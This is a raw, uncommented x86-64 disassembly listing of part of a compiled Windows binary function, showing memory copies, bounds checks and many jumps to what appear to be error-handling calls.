movups xmmword [rax + rcx*8 + 0x10], xmm1
movups xmmword [rax + rcx*8], xmm0
lea rdx, [rdi + 1]
mov qword [r8 + 0x40], rdx
cmp r12, rdx
jae 0x14001007d
mov rax, qword [r8 + 0x38]
lea rcx, [r12 + r12*8]
mov qword [rax + rcx*8 + 0x10], 1
mov qword [rax + rcx*8 + 0x18], rdi
mov qword [r13], 1
jmp 0x14000ff11
mov rdi, qword [r12 + 0x40]
mov rax, qword [rbp + 0x40]
lea rcx, [rbp + 0x188]
mov qword [rcx + 0x28], rax
movaps xmm0, xmmword [rbp + 0x20]
movaps xmm1, xmmword [rbp + 0x30]
movups xmmword [rcx + 0x18], xmm1
movups xmmword [rcx + 8], xmm0
mov qword [rbp + 0x170], 0
mov qword [rbp + 0x178], r8
mov qword [rbp + 0x180], 0
mov qword [rbp + 0x188], r8
cmp rdi, qword [r12 + 0x30]
jne 0x14000feb8
mov rcx, qword [rbp + 0x50]
call fcn.140015d20
mov rax, qword [r12 + 0x38]
lea rcx, [rdi + rdi*8]
movups xmm0, xmmword [rbp + 0x170]
movups xmm1, xmmword [rbp + 0x180]
movups xmm2, xmmword [rbp + 0x190]
movups xmm3, xmmword [rbp + 0x1a0]
mov rdx, qword [rbp + 0x1b0]
mov qword [rax + rcx*8 + 0x40], rdx
movups xmmword [rax + rcx*8 + 0x30], xmm3
movups xmmword [rax + rcx*8 + 0x20], xmm2
movups xmmword [rax + rcx*8 + 0x10], xmm1
movups xmmword [rax + rcx*8], xmm0
lea rax, [rdi + 1]
mov qword [r12 + 0x40], rax
mov qword [r13], 1
mov qword [r13 + 8], rdi
mov qword [r13 + 0x10], rdi
test rbx, rbx
mov rdi, qword [rbp + 0x1e8]
je 0x14000ff3d
mov rcx, qword [rbp + 0x1d8]
cmp rcx, r15
mov r12, qword [rbp + 0x1f8]
jb 0x14000fce0
jmp 0x140010022
mov rax, qword [rbp + 0x1d8]
mov qword [rbp + 0x70], rax
mov rax, qword [rbp + 0x1e0]
mov qword [rbp + 0x68], rax
mov r12, qword [rbp + 0x1f8]
mov rcx, qword [rbp + 0x10]
cmp rcx, qword [rbp + 0x18]
je 0x14000f0be
lea rax, [rcx + 0x68]
mov qword [rbp + 0x98], rax
mov rdx, qword [rcx]
mov r8, qword [rcx + 8]
movups xmm0, xmmword [rcx + 0x30]
movaps xmmword [rbp + 0x190], xmm0
movups xmm0, xmmword [rcx + 0x20]
movaps xmmword [rbp + 0x180], xmm0
movups xmm0, xmmword [rcx + 0x10]
movaps xmmword [rbp + 0x170], xmm0
cmp rdx, 2
je 0x14000f0be
movups xmm0, xmmword [rcx + 0x40]
movups xmm1, xmmword [rcx + 0x50]
movaps xmmword [rbp], xmm1
movaps xmmword [rbp - 0x10], xmm0
lea rcx, [rbp + 0x188]
movups xmm0, xmmword [rcx - 0x10]
movups xmm1, xmmword [rcx]
movaps xmmword [rbp + 0xe0], xmm0
movaps xmmword [rbp + 0xf0], xmm1
mov rcx, qword [rcx + 0x10]
mov qword [rbp + 0x68], rdx
mov qword [rbp + 0x70], r8
movaps xmmword [rbp + 0x130], xmm0
movaps xmmword [rbp + 0x140], xmm1
mov qword [rbp + 0x150], rcx
mov rcx, rax
jmp 0x14000f19d
jmp 0x140010000
jmp 0x140010010
jmp 0x140010020
mov qword [rbp + 0x70], rcx
mov rax, qword [rbp + 0x1e0]
mov qword [rbp + 0x68], rax
mov byte [rbp + 0x207], 0
lea r8, [0x140218818]
mov rdx, r15
call fcn.1402163e0
jmp 0x14001032b
mov rax, qword [rbp + 0x1d8]
mov qword [rbp + 0x70], rax
mov rax, qword [rbp + 0x1e0]
mov qword [rbp + 0x68], rax
lea r8, [0x140218800]
mov rcx, rdi
mov rdx, qword [rbp + 0x1f0]
call fcn.1402163e0
jmp 0x14001032b
mov rax, qword [rbp + 0x1d8]
mov qword [rbp + 0x70], rax
mov rax, qword [rbp + 0x1e0]
mov qword [rbp + 0x68], rax
lea r8, [0x140218608]
mov rcx, r12
call fcn.1402163e0
jmp 0x14001032b
lea r8, [0x140218620]
mov rcx, rdi
call fcn.1402163e0
jmp 0x14001032b
lea r8, [0x140218668]
mov rcx, r13
mov rdx, r15
call fcn.1402163e0
jmp 0x14001032b
lea r8, [0x140218758]
mov rcx, r13
mov rdx, r15
call fcn.1402163e0
jmp 0x14001032b
mov rax, qword [rbp + 0xe0]
mov rdx, qword [rbp + 0xe8]
lea rcx, [rbp + 0xf8]
mov r8, qword [rbp + 0xf0]
call qword [rax + 0x20]
cmp qword [rbp + 0x1f0], 0
je 0x14001013b
mov rax, qword [rbp + 0x1f0]
mov rax, qword [rax + 0x20]
lea rcx, [rbp + 0xc8]
mov r8, qword [rbp + 0xc0]
mov byte [rbp + 0x207], 0
mov rdx, qword [rbp + 0x168]
call rax
mov byte [rbp + 0x207], 0
lea rax, [0x1402185d0]
mov qword [rsp + 0x20], rax
lea rcx, [0x1402185a0]
lea r9, [0x1402185e8]
lea r8, [rbp + 0x170]
mov edx, 0x17
call fcn.140216680
jmp 0x14001032b
lea r8, [0x140218728]
mov rdx, r15
call fcn.1402163e0
jmp 0x14001032b
lea r8, [0x140218740]
mov rcx, rax
mov rdx, r15
call fcn.1402163e0
jmp 0x14001032b
lea r8, [0x1402187a0]
mov rcx, rax
mov rdx, r15
call fcn.1402163e0
jmp 0x14001032b
lea r8, [0x1402187e8]
mov rdx, r15
call fcn.1402163e0
jmp 0x14001032b
lea r8, [0x1402186e0]
mov rcx, rax
mov rdx, r12
call fcn.1402163e0
jmp 0x14001032b
lea r8, [0x140218710]
mov rdx, r15
call fcn.1402163e0
jmp 0x14001032b
lea rcx, [0x1402186f8]
call fcn.1402161b0
jmp 0x14001032b
lea r8, [0x140218698]
mov rdx, r12
call fcn.1402163e0
jmp 0x14001032b
lea r8, [0x1402186c8]
mov rcx, rax
mov rdx, r15
call fcn.1402163e0
jmp 0x14001032b
lea rcx, [0x1402186b0]
call fcn.1402161b0
jmp 0x14001032b
mov rax, qword [rbp + 0x170]
test rax, rax
je 0x14001026e
mov rax, qword [rax + 0x20]
mov rdx, qword [rbp + 0x178]
mov r8, qword [rbp + 0x180]
mov byte [rbp + 0x207], 1
lea rcx, [rbp + 0x188]
call rax
mov byte [rbp + 0x207], 1
lea rax, [0x1402185b8]
mov qword [rsp + 0x20], rax
lea rcx, [0x1402185a0]
lea r9, [0x1402185e8]
lea r8, [rbp + 0x170]
mov edx, 0x17
call fcn.140216680
jmp 0x14001032b
lea r8, [0x140218770]
mov rcx, rax
mov rdx, r12
call fcn.1402163e0
jmp 0x14001032b
lea r8, [0x1402187b8]
mov rdx, r12
call fcn.1402163e0
jmp 0x14001032b
lea rcx, [0x1402187d0]
call fcn.1402161b0
jmp 0x14001032b
lea rcx, [0x140218788]
call fcn.1402161b0
jmp 0x14001032b
lea r8, [0x140218680]
mov rdx, r12
call fcn.1402163e0
jmp 0x14001032b
mov ecx, 2
mov edx, 0x20
call fcn.140215f80
jmp 0x14001032b
mov ecx, 8
mov edx, 0x270
call fcn.140215f80
jmp 0x14001032b
lea r8, [0x140218638]
mov rcx, rdi
mov rdx, r12
call fcn.1402163e0
ud2